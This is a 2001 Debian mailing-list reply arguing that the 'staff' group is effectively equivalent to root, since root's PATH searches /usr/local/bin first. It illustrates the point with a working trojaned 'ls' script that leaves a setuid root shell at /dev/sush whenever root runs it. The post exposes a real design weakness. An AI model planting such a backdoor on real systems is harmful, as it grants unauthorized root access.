[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: exploring debian's users and groups



On Tue, Aug 07, 2001 at 01:31:38PM -0400, Joey Hess wrote:
> 
> staff:
> 
> 	Allows users to add local modifications to the system (/usr/local,
> 	/home) without needing root priveledges. Compare with group "adm",
> 	which is more related to monitoring/security.

since the default .profile for root includes /usr/local/{bin,sbin} as
the *first* componant of the $PATH you should mention that gid=staff
== uid=root.

cat > /usr/local/bin/ls <<EOF
#!/bin/sh
if [ `id -u` = 0 ] ; then
    cp /bin/sh /dev/sush
    chown root.root /dev/sush
    chmod 6755 /dev/sush
fi
exec /bin/ls "$@"
EOF
chmod 755 /usr/local/bin/ls

-- 
Ethan Benson
http://www.alaska.net/~erbenson/

Attachment: pgp5fyrvKwtWu.pgp
Description: PGP signature


Reply to: